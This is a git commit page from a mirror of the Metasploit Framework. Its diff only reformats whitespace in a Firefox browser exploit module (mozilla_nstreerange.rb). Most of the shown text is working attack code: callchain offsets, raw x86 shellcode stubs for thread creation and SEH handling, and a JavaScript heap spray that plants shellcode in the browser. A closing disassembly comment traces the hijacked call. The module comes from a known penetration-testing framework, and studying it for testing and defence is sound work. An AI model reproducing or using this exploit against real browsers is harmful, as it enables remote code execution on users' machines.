infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Remove extra tabs and spaces 

git-svn-id: file:///home/svn/framework3/trunk@13148 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-07-10 21:10:45 +00:00
parent 9892eb39eb
commit 94aea207d3
1 changed files with 59 additions and 58 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

35
modules/exploits/windows/browser/mozilla_nstreerange.rb
View File

@ -154,21 +154,25 @@ class Metasploit3 < Msf::Exploit::Remote
if direct
callchain <<
[next_offset + 0x4 - 8,
[
next_offset + 0x4 - 8,
next_offset + 0x14,
0,
arg1,
arg2,
next_offset + 0x18 - 0x70,
offset]
offset
]
else
callchain <<
[next_offset + 0x4 - 8,
[
next_offset + 0x4 - 8,
next_offset + 0x14,
0,
arg1,
arg2,
offset - 0x70]
offset - 0x70
]
end
}
@ -187,21 +191,22 @@ class Metasploit3 < Msf::Exploit::Remote
# make rest of shellcode run in separate thread
if datastore['CreateThread'] and target['LLOffset'] and target['GPAOffset']
payload_buf << "\x60\x31\xc0\x50\x50\x50\xe8\x00\x00\x00\x00\x5a\x89\xd6" +
"\x52\x83\x04\x24\x3b\x83\xc2\x25\x83\xc6\x2e\x50\x50\x56" +
"\x52\xff\x15#{[target['LLOffset']].pack('V')}\x50\xff\x15#{[target['GPAOffset']].pack('V')}" +
"\xff\xd0\x61\xc2#{[esp_fix].pack('v')}\x6b\x65\x72\x6e\x65\x6c\x33\x32" +
"\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00"
payload_buf << "\x60\x31\xc0\x50\x50\x50\xe8\x00\x00\x00\x00\x5a\x89\xd6"
payload_buf << "\x52\x83\x04\x24\x3b\x83\xc2\x25\x83\xc6\x2e\x50\x50\x56"
payload_buf << "\x52\xff\x15#{[target['LLOffset']].pack('V')}\x50\xff\x15#{[target['GPAOffset']].pack('V')}"
payload_buf << "\xff\xd0\x61\xc2#{[esp_fix].pack('v')}\x6b\x65\x72\x6e\x65\x6c\x33\x32"
payload_buf << "\x00\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00"
esp_fix = 0
end
# encapsulate actual payload in SEH handler
if datastore['SEHProlog']
payload_buf << "\x60\xe8\x00\x00\x00\x00\x83\x04\x24\x1a\x64\xff\x35\x00" +
"\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x81\xec\x00\x01" +
"\x00\x00\xeb\x12\x8b\x64\x24\x08\x64\x8f\x05\x00\x00\x00" +
"\x00\x83\xc4\x04\x61\xc2" + [esp_fix].pack('v')
payload_buf << "\x60\xe8\x00\x00\x00\x00\x83\x04\x24\x1a\x64\xff\x35\x00"
payload_buf << "\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x81\xec\x00\x01"
payload_buf << "\x00\x00\xeb\x12\x8b\x64\x24\x08\x64\x8f\x05\x00\x00\x00"
payload_buf << "\x00\x83\xc4\x04\x61\xc2"
payload_buf << [esp_fix].pack('v')
end
payload_buf << p
@ -269,7 +274,6 @@ EOS
if not target['Auto']
escaped_payload = Rex::Text.to_unescape(prepare_payload(target, p))
shellcode_str = "var shellcode = unescape(\"#{escaped_payload}\");"
else
shellcode_str = target['Targets'].map{ |check, index|
@ -310,7 +314,6 @@ function #{@js_func}() {
for (var count = 0; count < 10; ++count)
container.push(block + delimiter);
var big = unescape("%u4558%u4f52");
while (big.length < #{spray_size / 2})
big += big;
@ -318,7 +321,6 @@ function #{@js_func}() {
var pad = big.substring(0, #{(base_offset % spray_size)/2}) + shellcode;
var spray = pad + big.substring(pad.length + 2);
for (var count = 0; count < #{spray_count}; ++count)
container.push(spray + delimiter);
}
@ -366,4 +368,3 @@ final call looks like this: CALL [[[[ESI]+8]]+70]
104924DD |. 5E POP ESI
104924DE \. C2 0400 RETN 4
=end